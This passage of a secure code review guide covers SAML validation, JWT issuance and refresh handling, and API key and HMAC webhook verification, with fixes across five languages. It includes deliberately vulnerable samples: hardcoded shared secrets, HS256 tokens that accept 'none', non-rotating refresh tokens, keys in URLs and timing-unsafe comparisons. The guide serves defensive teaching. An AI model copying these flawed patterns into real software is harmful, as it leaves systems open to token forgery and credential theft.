    CertificateValidationMode = X509CertificateValidationMode.ChainTrust,
    SignatureAlgorithm = Saml2SecurityAlgorithms.RsaSha256Signature,
};

config.AllowedIssuer = "https://idp.example.com/metadata";
config.SignatureValidationCertificates.Add(idpCert);

var saml2AuthnResponse = new Saml2AuthnResponse(config);
saml2AuthnResponse.ReadSamlResponse(Request, validate: true);
if (saml2AuthnResponse.Status != Saml2StatusCodes.Success)
    throw new AuthenticationException("SAML auth failed");
var claims = saml2AuthnResponse.CreateClaimsIdentity(config);
await SignInAsync(new ClaimsPrincipal(claims));

```

Important: Set `validate: true` on read paths. Store consumed assertion IDs in cache with TTL matching `NotOnOrAfter`.

Go

Use `crewjam/saml` with SP struct fields and built-in validation.

```
import "github.com/crewjam/saml"

sp := &saml.ServiceProvider{
    EntityID:    "https://app.example.com/saml/metadata",
    Key:         spKey,
    Certificate: spCert,
    IDPMetadata: idpMetadata,
    AcsURL:      mustParseURL("https://app.example.com/saml/acs"),
    MetadataURL: mustParseURL("https://app.example.com/saml/metadata"),
}

func acs(w http.ResponseWriter, r *http.Request) {
    err := r.ParseForm()
    assertion, err := sp.ParseResponse(r, []string{pendingRequestID})
    if err != nil {
        http.Error(w, "invalid SAML response", http.StatusForbidden)
        return
    }
    if replayCache.Exists(assertion.ID) {
        http.Error(w, "replay detected", http.StatusForbidden)
        return
    }
    replayCache.Add(assertion.ID, assertion.NotOnOrAfter)
    setSession(w, assertion.Subject.NameID.Value)
}
```

Important: ParseResponse validates signature, destination, and timing when IdP metadata is correct. Track SP-initiated request IDs and enforce them with InResponseTo.

Verify During Review

- Assertions (or outer responses) are **XML signature validated** with current IdP keys from trusted metadata.
- **ACS URL, Destination, and Recipient** match registered SP endpoints exactly.
- **Assertion IDs** are single-use; **InResponseTo** matches outstanding AuthnRequest when applicable.
- **Audience** equals SP entity ID; **NotBefore/NotOnOrAfter** enforced with bounded clock skew.
- IdP metadata and certificates come from **trusted sources** with rollover planned before expiry.
- SAML parsers disable **XXE**; **RelayState** is allowlisted.

Reference

- [OASIS SAML 2.0 Core](#)
- [OASIS SAML 2.0 Bindings](#)
- [OASIS SAML 2.0 Metadata](#)
- [OWASP SAML Security Cheat Sheet](#)
- [OWASP XXE Prevention Cheat Sheet](#)

- [OneLogin python3-saml](#)
- [Spring Security — SAML2 Service Provider](#)
- [ITfoxtec Identity SAML2](#)
- [crewjam/saml](#)

5.2 Reference — Review Tokens and API Trust

This appendix supports the guiding chapter [5.2 - Review Tokens and API Trust](#). Each section below preserves the dense material from a former topic chapter.

Back to chapter: [5.2 - Review Tokens and API Trust](#)

JWT implementation {:#jwt }

From former 10-03-review-jwt-implementation.md. **Guiding chapter section:** [5.2 - Review Tokens and API Trust § JWT implementation](#).

5.3 - Review JWT Implementation

JWT implementation review covers how your service **issues** and **validates** tokens, not only whether parsing skips signature checks. Start at the authorization server: signing keys, algorithms, claim design, and refresh handling. Then trace every resource server that consumes those tokens. For parse-time flaws and algorithm confusion, also read [4.5 § JWT security \(code-level\)](#).

What This Topic Is

This chapter is about **implementation review**, not generic vulnerability hunting. A secure JWT stack requires correct cryptography, key lifecycle, claim policy, and refresh rotation—not merely calling `jwt.decode` with a secret string.

The unsafe assumption is that HS256 with a long-lived shared secret scales across many services, or that access tokens can live for days without refresh controls. Weak issuance undermines every downstream validator.

This maps to [CWE-347](#) and [CWE-613](#) (Insufficient Session Expiration) when refresh rotation and revocation are missing.

Vulnerability Characteristics (Where to Identify Them)

Signal	Where to look
Feature type	Custom auth server, API gateway token mint, microservice mesh, mobile backend
Signing model	HS256 shared secret copied to every service; private keys in repo; no kid in header
JWKS endpoint	Missing / .well-known/jwks.json, stale keys served after rotation, HTTP not HTTPS
Access token policy	Lifetime over 15 minutes without justification; sensitive claims in access token
Refresh tokens	Reusable refresh tokens, no rotation, no reuse detection, refresh stored in localStorage
Validation gaps	Resource servers fetch JWKS once at startup; no iss/aud enforcement per API
Revocation	Logout clears client cookie only; no server-side refresh denylist or token version claim

Abuse Scenarios

Use these when reviewing custom authorization servers and resource APIs that mint or consume JWTs.

Scenario 1: HS256 secret exfiltration → universal forgery

One shared symmetric secret is copied into twenty microservices and a mobile app. An attacker extracts it from any artifact and mints tokens with arbitrary `sub`, `scope`, and `admin` claims.

Scenario 2: Refresh token replay (no rotation)

Refresh tokens are valid until expiry and reusable without bound. XSS steals the refresh token; attacker obtains new access tokens for months without re-authentication.

Scenario 3: Refresh reuse undetected

The server issues a new refresh token on refresh but does not invalidate the previous one. Stolen old refresh tokens continue to work alongside new ones.

Scenario 4: JWKS never refreshed

Resource servers cache JWKS at startup. After key compromise, auth server rotates keys but stale validators accept old `kid` or fail open to HS256 fallback with a dev secret.

Scenario 5: Missing audience on resource server

API accepts any token signed by the org issuer regardless of `aud`. Token minted for public web client is replayed to internal admin API.

Scenario 6: Long-lived access token with embedded roles

Access token lifetime is 30 days with roles: ["admin"] inside. Admin logout or role change has no effect until token expiry.

Language-Specific Libraries and Dangerous Patterns

Python

```
# Dangerous issuance
jwt.encode({"sub": uid, "admin": True, "exp": now + timedelta(days=7)}, SECRET,
algorithm="HS256")
jwt.decode(token, SECRET, algorithms=["HS256", "none"]) # resource server

# Safer: PyJWT RS256 + JWKS endpoint for resource servers
import jwt as pyjwt
from jwt import PyJWKClient

jwks_client = PyJWKClient("https://auth.example.com/.well-known/jwks.json")
signing_key = jwks_client.get_signing_key_from_jwt(raw_token)
pyjwt.decode(
    raw_token, signing_key.key, algorithms=["RS256"],
    audience="api.example.com", issuer="https://auth.example.com",
)
```

Also review: `python-jose` `jwt.decode` defaults, `flask-jwt-extended` configuration.

Java

```
// Dangerous: jjwt HS256 secret in source; 30-day exp
JwtBuilder().setExpiration(thirtyDays).signWith(SignatureAlgorithm.HS256, SECRET);

// Safer: jjwt RS256 + NimbusJwtDecoder with JWK Set URI
JwtParserBuilder().setSigningKeyResolver(jwkResolver).requireIssuer("https://
auth.example.com").build();
NimbusJwtDecoder.withJwkSetUri("https://auth.example.com/.well-known/jwks.json").build();
```

Also review: [jjwt](#), Spring Authorization Server, Keycloak adapter configs.

C

```
// Dangerous
new JwtSecurityToken(..., expires: DateTime.UtcNow.AddDays(30), signingCredentials: hmacCreds);

// Safer: AddJwtBearer with Authority + Audience; RSA signing at auth server
services.AddAuthentication().AddJwtBearer(o => {
    o.Authority = "https://auth.example.com";
    o.Audience = "api.example.com";
    o.TokenValidationParameters.ValidAlgorithms = new[] { SecurityAlgorithms.RsaSha256 };
});
```

Also review: [IdentityModel](#), [Azure AD token validation](#), [Microsoft.AspNetCore.Authentication.JwtBearer](#).

JavaScript

```
// Dangerous
jwt.sign({ sub: user.id, role: 'admin' }, process.env.JWT_SECRET, { expiresIn: '30d' });
jwt.verify(token, secret); // no aud/iss

// Safer: jose library with JWKS
import * as jose from 'jose';
const JWKS = jose.createRemoteJWKSet(new URL('https://auth.example.com/.well-known/jwks.json'));
const { payload } = await jose.jwtVerify(token, JWKS, { issuer: 'https://auth.example.com',
audience: 'api.example.com' });
```

Go

```
// Dangerous
jwt.NewWithClaims(jwt.SigningMethodHS256, claims).SignedString([]byte(os.Getenv("JWT_SECRET")))

// Safer: golang-jwt + lestrrat-go/jwx JWKS
token, err := jwt.Parse(raw, jwt.WithKeySet(jwkSet), jwt.WithAudience("api.example.com"),
jwt.WithIssuer("https://auth.example.com"))
```

See [PyJWT](#), [jjwt](#), [RFC 8725 JWT BCP](#), and [lestrrat-go/jwx](#).

Sample Vulnerable Code in Python

```
import jwt
from datetime import datetime, timedelta

SECRET = "shared-across-twenty-microservices"

def issue_tokens(user_id: str, scopes: list[str]) -> dict:
    now = datetime.utcnow()
    access = jwt.encode(
        {
            "sub": user_id,
            "scope": " ".join(scopes),
            "admin": True, # privilege claim without audience binding
            "exp": now + timedelta(days=7),
        },
        SECRET,
        algorithm="HS256",
    )
    refresh = jwt.encode(
        {"sub": user_id, "typ": "refresh", "exp": now + timedelta(days=90)},
        SECRET,
        algorithm="HS256",
    )
    return {"access_token": access, "refresh_token": refresh}

def refresh_access_token(refresh_token: str) -> str:
    claims = jwt.decode(refresh_token, SECRET, algorithms=["HS256"])
    # Same refresh token works forever; no rotation or reuse detection
    return issue_tokens(claims["sub"], ["api"])["access_token"]
```

Step-by-Step Review Walkthrough

1. **Map issuer and consumers.** Identify which component signs tokens and every service that validates them. HS256 requires secret distribution; RS256/ES256 should use public keys via JWKS.
2. **Review signing key storage.** Private keys belong in HSM, KMS, or sealed secrets—not git. Confirm kid is present and rotates with the key material.
3. **Inspect access token claims.** Keep lifetimes short. Put authorization data in scope or custom claims bound to aud. Avoid embedding long-lived privileges without refresh checks.
4. **Trace JWKS publication.** Authorization servers expose current and rollover public keys. Consumers cache JWKS with TTL and refresh on unknown kid.
5. **Review refresh flow.** Each refresh should mint a new refresh token, invalidate the previous one, and detect reuse (revoke token family on replay).
6. **Check resource server validation.** Each API validates iss, aud, signature, and exp with the correct key—not a copy-pasted dev secret.
7. **Confirm logout and compromise response.** Document how operators revoke sessions: refresh denylist, jti blocklist, or session version claim bumped on password change.

Risk Impact Analysis

Wide-scale forgery. A leaked HS256 secret or stolen private key lets attackers mint valid tokens for any subject and scope.

Stale key trust. Services that never refresh JWKS continue trusting compromised keys after rotation delays exposure but do not stop active abuse if rotation is skipped.

Refresh token replay. Non-rotating refresh tokens act like long-lived passwords; XSS or device theft yields persistent access.

Privilege sprawl. Overlong access tokens with embedded roles delay revocation until expiry even after admin lockout.

Cross-service audience confusion. Tokens minted for one API accepted by another when aud is not enforced per resource server.

Vulnerable Examples in Other Languages

Java

```
@Service
public class TokenService {
    private static final String SECRET = "prod-secret-in-source";

    public String mintAccessToken(User user) {
        return Jwts.builder()
            .setSubject(user.getId())
            .claim("roles", user.getRoles())
            .setExpiration(Date.from(Instant.now().plus(30, ChronoUnit.DAYS)))
            .signWith(SignatureAlgorithm.HS256, SECRET)
            .compact();
    }

    public String refresh(String refreshToken) {
        Claims claims =
        Jwts.parser().setSigningKey(SECRET).parseClaimsJws(refreshToken).getBody();
        return mintAccessToken(userRepo.findById(claims.getSubject()));
        // refresh token not rotated; reuse undetected
    }
}
```

C

```
public string IssueAccessToken(string userId)
{
    var key = new SymmetricSecurityKey(Encoding.UTF8.GetBytes(_config["Jwt:Key"]));
    var creds = new SigningCredentials(key, SecurityAlgorithms.HmacSha256);
    var token = new JwtSecurityToken(
        issuer: "auth.example.com",
        claims: new[] { new Claim("sub", userId), new Claim("role", "admin") },
        expires: DateTime.UtcNow.AddDays(1),
        signingCredentials: creds);
    return new JwtSecurityTokenHandler().WriteToken(token);
    // No audience; RS256 not used; JWKS not published
}
```

JavaScript

```
import jwt from "jsonwebtoken";

const PRIVATE_KEY = process.env.JWT_SECRET; // symmetric secret for all services

export function issuePair(user) {
    const access = jwt.sign({ sub: user.id, scope: "api" }, PRIVATE_KEY, { expiresIn: "24h" });
    const refresh = jwt.sign({ sub: user.id, typ: "refresh" }, PRIVATE_KEY, { expiresIn: "180d" });
    return { access, refresh };
}

export function rotateRefresh(oldRefresh) {
    const payload = jwt.verify(oldRefresh, PRIVATE_KEY);
    return issuePair({ id: payload.sub }); // new refresh issued; old still valid
}
```

Go

```
func mint(sub string) (string, error) {
    token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
        "sub": sub,
        "exp": time.Now().Add(72 * time.Hour).Unix(),
    })
    return token.SignedString([]byte(os.Getenv("JWT_SECRET")))
}

func jwksHandler(w http.ResponseWriter, r *http.Request) {
    // Authorization server has no JWKS endpoint; RS256 not supported
    http.Error(w, "not found", http.StatusNotFound)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Sign with RS256 using PyJWT and expose JWKS. Rotate refresh tokens and detect reuse.

```

import jwt as pyjwt
import secrets
import time
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

PRIVATE_KEY = load_private_key_from_kms()
PUBLIC_KEY = PRIVATE_KEY.public_key()
KID = "2026-05-key-1"

def issue_tokens(user_id: str, scopes: list[str], refresh_family: str | None = None) -> dict:
    now = int(time.time())
    access = pyjwt.encode(
        {
            "iss": "https://auth.example.com",
            "sub": user_id,
            "aud": "api.example.com",
            "scope": " ".join(scopes),
            "iat": now,
            "exp": now + 900,
        },
        PRIVATE_KEY,
        algorithm="RS256",
        headers={"kid": KID},
    )
    family = refresh_family or secrets.token_urlsafe(16)
    refresh_jti = secrets.token_urlsafe(16)
    refresh = pyjwt.encode(
        {
            "iss": "https://auth.example.com",
            "sub": user_id,
            "aud": "auth.example.com",
            "jti": refresh_jti,
            "family": family,
            "iat": now,
            "exp": now + 604800,
        },
        PRIVATE_KEY,
        algorithm="RS256",
        headers={"kid": KID},
    )
    store_refresh(refresh_jti, family, user_id)
    return {"access_token": access, "refresh_token": refresh}

def refresh_tokens(presented_refresh: str) -> dict:
    claims = validate_refresh(presented_refresh) # RS256 + iss/aud/exp/jti via PyJWT
    if is_refresh_reused(claims["jti"], claims["family"]):
        revoke_family(claims["family"])
        raise AuthError("refresh reuse detected")
    invalidate_refresh(claims["jti"])
    return issue_tokens(claims["sub"], ["api"], refresh_family=claims["family"])

```


Important: Resource servers validate with your JWKS URL and required aud. Pair with [4.5 Review Authentication, Session, and Access Control § JWT security \(code-level\)](#) checks for algorithm allowlists and none rejection.

Java

Use Nimbus with RSA keys and publish JWKS from the authorization server.

```
RSAKey rsaKey = new RSAKey.Builder(publicKey, privateKey)
    .keyID("2026-05-key-1")
    .algorithm(JWSAlgorithm.RS256)
    .build();
JWKSet jwkSet = new JWKSet(rsaKey.toPublicJWK());

SignedJWT access = new SignedJWT(
    new JWSHeader.Builder(JWSAlgorithm.RS256).keyID(rsaKey.getKeyID()).build(),
    new JWTClaimsSet.Builder()
        .issuer("https://auth.example.com")
        .subject(userId)
        .audience("api.example.com")
        .expirationTime(Date.from(Instant.now().plusSeconds(900)))
        .claim("scope", scopes)
        .build());
access.sign(new RSASSASigner(rsaKey));
```

```
@Bean
JwtDecoder jwtDecoder() {
    NimbusJwtDecoder decoder = NimbusJwtDecoder.withJwkSetUri(
        "https://auth.example.com/.well-known/jwks.json").build();
    decoder.setJwtValidator(JwtValidators.createDefaultWithIssuer("https://auth.example.com"));
    return decoder;
}
```

Important: Enable refresh token rotation in Spring Authorization Server or your custom store with reuse detection. Bump a token_version user claim on password reset.

C

Use RSA credentials and AddJwtBearer with authority metadata for resource APIs.

```

services.AddAuthentication(JwtBearerDefaults.AuthenticationScheme)
    .AddJwtBearer(options =>
    {
        options.Authority = "https://auth.example.com";
        options.Audience = "api.example.com";
        options.TokenValidationParameters = new TokenValidationParameters
        {
            ValidateIssuer = true,
            ValidateAudience = true,
            ValidateLifetime = true,
            ValidateIssuerSigningKey = true,
            ValidAlgorithms = new[] { SecurityAlgorithms.RsaSha256 },
        };
    });

```

```

var rsa = RSA.Create(2048);
var signingCredentials = new SigningCredentials(
    new RsaSecurityKey(rsa) { KeyId = "2026-05-key-1" },
    SecurityAlgorithms.RsaSha256);

services.AddSingleton<IJwksProvider>(new JwksProvider(rsa.ExportParameters(false), "2026-05-key-1"));

```

Important: Publish JWKS from the auth service. Store refresh tokens hashed server-side and replace them on each refresh request.

Go

Use `lestrrat-go/jwx` or `golang-jwt/jwt` with RSA and a JWKS HTTP handler.

```

import "github.com/lestrrat-go/jwx/v2/jwk"

key, _ := rsa.GenerateKey(rand.Reader, 2048)
jwkKey, _ := jwk.FromRaw(key)
jwkKey.Set(jwk.KeyIDKey, "2026-05-key-1")
jwkKey.Set(jwk.AlgorithmKey, jwk.RS256)

func jwksHandler(w http.ResponseWriter, r *http.Request) {
    set := jwk.NewSet()
    set.AddKey(jwkKey.PublicKey())
    json.NewEncoder(w).Encode(set)
}

func validateAccess(raw string) (jwt.MapClaims, error) {
    set, _ := jwk.Fetch(context.Background(), "https://auth.example.com/.well-known/jwks.json")
    token, err := jwt.Parse(raw, jwt.WithKeySet(set, jws.WithRequireKid(true)),
        jwt.WithIssuer("https://auth.example.com"), jwt.WithAudience("api.example.com"))
    // ...
}

```

Important: Cache JWKS with HTTP cache headers and refetch when kid is unknown. Treat refresh reuse as a full session compromise signal.

Verify During Review

- Authorization server signs with **asymmetric keys (RS256/ES256)** and publishes **JWKS** with kid.
- Access tokens are **short-lived**; refresh tokens **rotate** and trigger **reuse detection**.
- Every resource server validates **signature, iss, aud, exp** against current JWKS—not a shared HS256 secret.
- Private keys live in **KMS/HSM**; rotation plan updates JWKS without invalidating all sessions instantly unless required.
- Logout and account recovery **invalidate refresh families** or bump session version claims.
- Cross-check [4.5 § JWT security \(code-level\)](#) for consumer-side parse and algorithm flaws.

Reference

- [RFC 7519: JSON Web Token](#)
- [RFC 7517: JSON Web Key](#)
- [RFC 8725: JWT Best Current Practices](#)
- [OAuth 2.0 Authorization Framework — Refresh Token](#)
- [OAuth 2.0 Token Exchange and Rotation Practices \(RFC 9700 BCP\)](#)
- [OWASP JWT Cheat Sheet](#)
- [PyJWT documentation](#)
- [PyJWT PyJWKClient](#)
- [Spring Authorization Server](#)
- [Microsoft identity — Token validation](#)
- [lestrrat-go/jwx](#)

API keys and request signing {:#api-keys }

From former 10-07-review-api-keys-and-request-signing.md. **Guiding chapter section:** [5.2 - Review Tokens and API Trust § API keys and request signing](#).

5.7 - Review API Keys and Request Signing

API keys and HMAC request signing authenticate programmatic callers when OAuth or mTLS is not used. Review how keys are issued, scoped, stored, transmitted, rotated, and verified. Treat the signing secret like a password: protect it at rest, never log it, and bind each key to least-privilege scope and lifetime.

What This Vulnerability Is

Weak API key design exposes long-lived secrets in URLs, source code, or logs. HMAC verification fails when services skip signature checks, use predictable secrets, compare digests incorrectly, or omit timestamp and nonce checks that prevent replay.

The unsafe assumption is that possession of a static key implies ongoing authorization for every operation. Attackers who extract keys from repositories, browser history, or log aggregators can call APIs until rotation. This maps to [CWE-798](#) (Use of Hard-coded Credentials), [CWE-321](#) (Use of Hard-coded Cryptographic Key), and [OWASP API Security Top 10](#) broken authentication categories.

Vulnerability Characteristics (Where to Identify Them)

Signal	Where to look
Feature type	Public REST/GraphQL APIs, webhooks, partner integrations, mobile app backends, CLI tools
Key issuance	Admin consoles, self-service signup, long-lived “master” keys, keys embedded in mobile binaries
Transport	?api_key= query params, keys in Referer via HTTP pages, missing TLS on key-bearing requests
Verification	Single shared secret for all tenants, optional auth middleware, timing-unsafe string compare
HMAC schemes	Custom headers without canonical string, missing clock skew, no nonce store, MD5/SHA1 HMAC for new designs
Scope and lifecycle	One key for read and admin, no per-environment separation, no revocation or rotation path

Abuse Scenarios

Use these when reviewing programmatic API authentication and webhook verification.

Scenario 1: API key in URL leaked via logs and Referer

Clients send ?api_key=sk_live_... Access logs, CDN logs, browser history, and Referer headers when users follow links expose the key. Attacker replays key until rotation—often never.

Scenario 2: Shared global secret across tenants

All partners use the same HMAC secret or API key. One partner breach yields access to every tenant's data on the API.

Scenario 3: Webhook without HMAC verification

The webhook endpoint accepts POST bodies when a static header matches a guessable value, or skips verification entirely. Attacker injects fraudulent payment or user-provisioning events.

Scenario 4: HMAC replay (no timestamp/nonce)

Valid signed requests can be replayed within the acceptance window because timestamp skew is unbounded or nonce is not tracked. Attacker captures one legitimate webhook and replays it.

Scenario 5: Timing-unsafe signature compare

Server compares hex digest with == or `String.equals`. Remote timing analysis may leak correct MAC bytes byte-by-byte under favorable conditions.

Scenario 6: Hardcoded key in mobile or frontend bundle

API key or signing secret is embedded in a mobile app IPA/APK or JavaScript bundle. Extraction tools recover it in minutes.

Language-Specific Libraries and Dangerous Patterns

Python

```
# Dangerous
api_key = request.args.get("api_key")
if api_key == "wh_partner_9f2c_export": ...
sig == expected # not constant-time
hashlib.sha256(body + secret.encode()).hexdigest() # not HMAC

# Safer
import hmac, hashlib
hmac.compare_digest(
    hmac.new(secret, signing_string, hashlib.sha256).hexdigest(),
    provided_sig,
)
record = db.find_key_by_hash(hashlib.sha256(raw_key.encode()).hexdigest())
```

Also review: Flask `before_request` key checks without scope, Stripe/Twilio SDK signature helpers used incorrectly.

See [Python hmac.compare_digest](#).

Java

```
// Dangerous
@RequestParam String apiKey
if ("hardcoded-prod-key".equals(apiKey)) ...
sig.equals(expectedHex);

// Safer
MessageDigest.isEqual(expectedMac, providedMac);
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(new SecretKeySpec(secret, "HmacSHA256"));
```

Also review: Spring Security ApiKeyAuthenticationFilter, AWS Signature Version 4 validation libraries.

See [Java Mac class](#).

C

```
// Dangerous
if (sig == expected)
SHA256.HashData(body.Concat(secret).ToArray());

// Safer
CryptographicOperations.FixedTimeEquals(expected, provided);
HMACSHA256.HashData(secret, signingString);
```

Also review: ASP.NET Core API key packages, Azure Functions webhook validation attributes.

See [CryptographicOperations.FixedTimeEquals](#).

JavaScript

```
// Dangerous
if (req.header('x-api-key') !== VALID_KEY)
if (sig === expected)

// Safer
import crypto from 'crypto';
crypto.timingSafeEqual(Buffer.from(expected), Buffer.from(provided));
crypto.createHmac('sha256', secret).update(signingString).digest('hex');
```

Also review: @aws-sdk/signature-v4, stripe.webhooks.constructEvent, passport-http-bearer.

Go

```
// Dangerous
key := r.URL.Query().Get("api_key")
if sig == expected

// Safer
hmac.Equal(expected, provided)
subtle.ConstantTimeCompare([]byte(expected), []byte(provided)) // same-length only
```

See [Go crypto/hmac](#) and [RFC 2104 HMAC](#).

Sample Vulnerable Code in Python

```
import hashlib
import hmac
from flask import Flask, request

app = Flask(__name__)
API_SECRET = "static-partner-secret" # hardcoded; shared by all partners

@app.route("/v1/orders")
def list_orders():
    api_key = request.args.get("api_key") # key in URL – leaks via logs and Referer
    if api_key != "wh_partner_9f2c_export":
        return {"error": "unauthorized"}, 401
    return {"orders": db.all_orders()} # no scope – full data for any valid key

@app.route("/v1/webhook", methods=["POST"])
def webhook():
    sig = request.headers.get("X-Signature", "")
    body = request.get_data()
    expected = hashlib.sha256(body + API_SECRET.encode()).hexdigest()
    if sig == expected: # not HMAC; wrong compare pattern for some libs
        apply_webhook(body)
    return "", 204
```

Step-by-Step Review Walkthrough

1. **Locate authentication entry points.** Search for `api_key`, `X-API-Key`, `Authorization: Bearer sk_`, HMAC headers, and webhook signature middleware.
2. **Trace key storage and loading.** Keys must not live in source control. Confirm secrets come from vault, KMS, or environment injection with rotation support.
3. **Review transport rules.** Reject query-string keys for browser-accessible endpoints. Require TLS 1.2+ per [5.3 § TLS](#).
4. **Inspect verification logic.** HMAC must use a standard algorithm such as HMAC-SHA256 per [RFC 2104](#). Use constant-time comparison (`hmac.compare_digest` or equivalent).

5. **Check scope and authorization.** Map each key or signing identity to allowed methods, routes, tenants, and IP ranges. Authorization must not stop at “key is valid.”
6. **Evaluate replay controls.** Signed requests should include timestamp and nonce (or short-lived signatures) with enforced skew windows and nonce deduplication where replays matter.
7. **Confirm rotation and revocation.** Look for multi-key acceptance during rollover, admin revoke APIs, audit logs on key use, and separate keys per environment.

Risk Impact Analysis

Full API compromise from one leaked key. Long-lived, unscoped keys grant broad access until manually rotated—often discovered only after abuse.

Credential exposure via URLs and logs. Query-string keys appear in access logs, analytics, and browser history, violating least exposure.

Forged webhooks and partner calls. Missing or weak HMAC verification lets attackers inject events or exfiltrate data by calling “internal” endpoints.

Cross-tenant access. Shared secrets or missing tenant binding in signature payloads enable horizontal privilege escalation between customers.

Compliance and contractual breach. Partner agreements and frameworks such as [NIST SP 800-57](#) expect managed cryptographic key lifecycles.

Vulnerable Examples in Other Languages

Java

```
@GetMapping("/v1/report")
public Report export(@RequestParam String apiKey) {
    if ("hardcoded-prod-key".equals(apiKey)) {
        return reportService.fullExport(); // no HMAC, no scope, key in query string
    }
    throw new ResponseStatusException(HttpStatus.UNAUTHORIZED);
}
```


C

```
[HttpPost("hook")]
public IActionResult Hook([FromBody] byte[] body, [FromHeader(Name = "X-Signature")] string sig)
{
    var expected = Convert.ToBase64String(
        SHA256.HashData(body.Concat(Encoding.UTF8.GetBytes("webhook-secret")).ToArray()));
    if (sig == expected) // timing-unsafe compare; not HMAC
        _processor.Apply(body);
    return Ok();
}
```

JavaScript

```
// Express: API key checked only in header; stored in repo
const VALID_KEY = process.env.API_KEY || "dev-key-12345";

app.get("/v1/users", (req, res) => {
    if (req.header("x-api-key") !== VALID_KEY) return res.sendStatus(401);
    res.json(db.allUsers()); // no per-key scope
});
```

Go

```
func authMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        key := r.URL.Query().Get("api_key")
        if key == os.Getenv("GLOBAL_API_KEY") {
            next.ServeHTTP(w, r)
            return
        }
        http.Error(w, "unauthorized", http.StatusUnauthorized)
    })
}
```

Fix: Safer Patterns and Libraries to Use

Python

Store hashed keys at rest. Accept keys only in headers. Use HMAC-SHA256 over a canonical request string with timestamp; compare digests in constant time.

```

import hashlib
import hmac
import secrets
import time
from flask import Flask, request, abort

app = Flask(__name__)
MAX_SKEW_SECONDS = 300

def hash_api_key(raw_key: str) -> str:
    return hashlib.sha256(raw_key.encode()).hexdigest()

def verify_request(api_key: str) -> dict | None:
    record = db.find_key_by_hash(hash_api_key(api_key))
    if record is None or record.revoked:
        return None
    return record

def verify_hmac(secret: bytes, signing_string: bytes, provided: str) -> bool:
    expected = hmac.new(secret, signing_string, hashlib.sha256).hexdigest()
    return hmac.compare_digest(expected, provided)

@app.route("/v1/orders")
def list_orders():
    api_key = request.headers.get("X-API-Key")
    if not api_key:
        abort(401)
    record = verify_request(api_key)
    if record is None or "orders:read" not in record.scopes:
        abort(403)
    return {"orders": db.orders_for_tenant(record.tenant_id)}

@app.route("/v1/webhook", methods=["POST"])
def webhook():
    ts = request.headers.get("X-Timestamp")
    sig = request.headers.get("X-Signature")
    if not ts or not sig or abs(time.time() - int(ts)) > MAX_SKEW_SECONDS:
        abort(401)
    body = request.get_data()
    signing_string = f"{ts}\n".encode() + body
    secret = db.webhook_secret(request.headers.get("X-Partner-Id"))
    if not verify_hmac(secret, signing_string, sig):
        abort(401)
    apply_webhook(body)
    return "", 204

# Issue: raw_key shown once; store hash_api_key(raw_key) only
raw_key = "sk_live_" + secrets.token_urlsafe(32)

```

Important: Never log raw keys or HMAC secrets. Rotate by accepting two key hashes during a overlap window, then revoke the old hash.

See [Python hmac — compare digest](#) and [RFC 2104](#).

Java

Use a secrets manager for HMAC keys. Prefer framework filters that enforce scope after lookup.

```
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import java.security.MessageDigest;

public boolean verifyHmacSha256(byte[] secret, byte[] message, byte[] provided) throws Exception
{
    Mac mac = Mac.getInstance("HmacSHA256");
    mac.init(new SecretKeySpec(secret, "HmacSHA256"));
    byte[] expected = mac.doFinal(message);
    return MessageDigest.isEqual(expected, provided);
}
```

Validate API keys against hashed records in a database; reject keys in query parameters at the edge.

Important: Use `MessageDigest.isEqual` or `Mac` output comparison—not `String.equals` on hex digests without constant-time guarantees.

See [Java Mac class](#) and [OWASP API Security Top 10](#).

C

Store API key hashes with ASP.NET Core authentication handlers or custom middleware. Use HMACSHA256 for webhooks.

```
using System.Security.Cryptography;

static bool VerifyHmacSha256(ReadOnlySpan<byte> secret, ReadOnlySpan<byte> data,
ReadOnlySpan<byte> provided)
{
    Span<byte> expected = stackalloc byte[32];
    HMACSHA256.HashData(secret, data, expected);
    return CryptographicOperations.FixedTimeEquals(expected, provided);
}
```

Configure separate keys per partner and environment in secret configuration—not `appsettings.json` committed to git.

Important: Use `CryptographicOperations.FixedTimeEquals` for MAC comparison.

See [CryptographicOperations.FixedTimeEquals](#) and [Azure WebJobs SDK — HMAC validation pattern](#).

Go

Compare HMAC with `hmac.Equal`. Pass keys via headers and hash at rest with a slow password hash if humans never re-enter the raw key.

```
import (
    "crypto/hmac"
    "crypto/sha256"
    "crypto/subtle"
    "net/http"
)

func validateAPIKey(r *http.Request) (*KeyRecord, bool) {
    key := r.Header.Get("X-API-Key")
    if key == "" {
        return nil, false
    }
    rec, ok := store.LookupByHash(sha256.Sum256([]byte(key)))
    return rec, ok && !rec.Revoked && rec.HasScope("orders:read")
}

func verifyHMAC(secret, msg, sig []byte) bool {
    mac := hmac.New(sha256.New, secret)
    mac.Write(msg)
    expected := mac.Sum(nil)
    return hmac.Equal(expected, sig)
}
```

Important: Restrict keys by source IP or mTLS where partners are fixed—defense in depth, not a substitute for scoped keys.

See [Go crypto/hmac](#) and [Go subtle — ConstantTimeCompare](#).

Verify During Review

- API keys are **never** in query strings, URLs shared to browsers, or committed source.
- Secrets load from a **managed store**; raw keys are shown once at issuance and stored hashed.
- Each key has explicit **scope**, tenant binding, and **revocation** path.
- HMAC uses **HMAC-SHA256** (or stronger approved MAC) with **constant-time** verification.
- Signed requests include **timestamp** (and nonce where needed) with enforced skew and replay controls.
- **Rotation** supports overlapping valid keys; audit logs record key id, not secret material.
- Successful authentication still passes through **authorization** checks for the requested resource.

Reference

- [RFC 2104: HMAC — Keyed-Hashing for Message Authentication](#)

- [RFC 7518: JSON Web Algorithms \(JWA\) — HMAC SHA algorithms](#)
- [CWE-798: Use of Hard-coded Credentials](#)
- [CWE-321: Use of Hard-coded Cryptographic Key](#)
- [CWE-347: Improper Verification of Cryptographic Signature](#)
- [OWASP API Security Top 10](#)
- [OWASP Authentication Cheat Sheet](#)
- [NIST SP 800-57 Part 1 Rev. 5: Recommendation for Key Management](#)
- [Python hmac module](#)
- [Java javax.crypto.Mac](#)
- [Microsoft CryptographicOperations.FixedTimeEquals](#)
- [Go crypto/hmac](#)

5.3 Reference — Review Transport and Service Identity

This appendix supports the guiding chapter [5.3 - Review Transport and Service Identity](#). Each section below preserves the dense material from a former topic chapter.

Back to chapter: [5.3 - Review Transport and Service Identity](#)

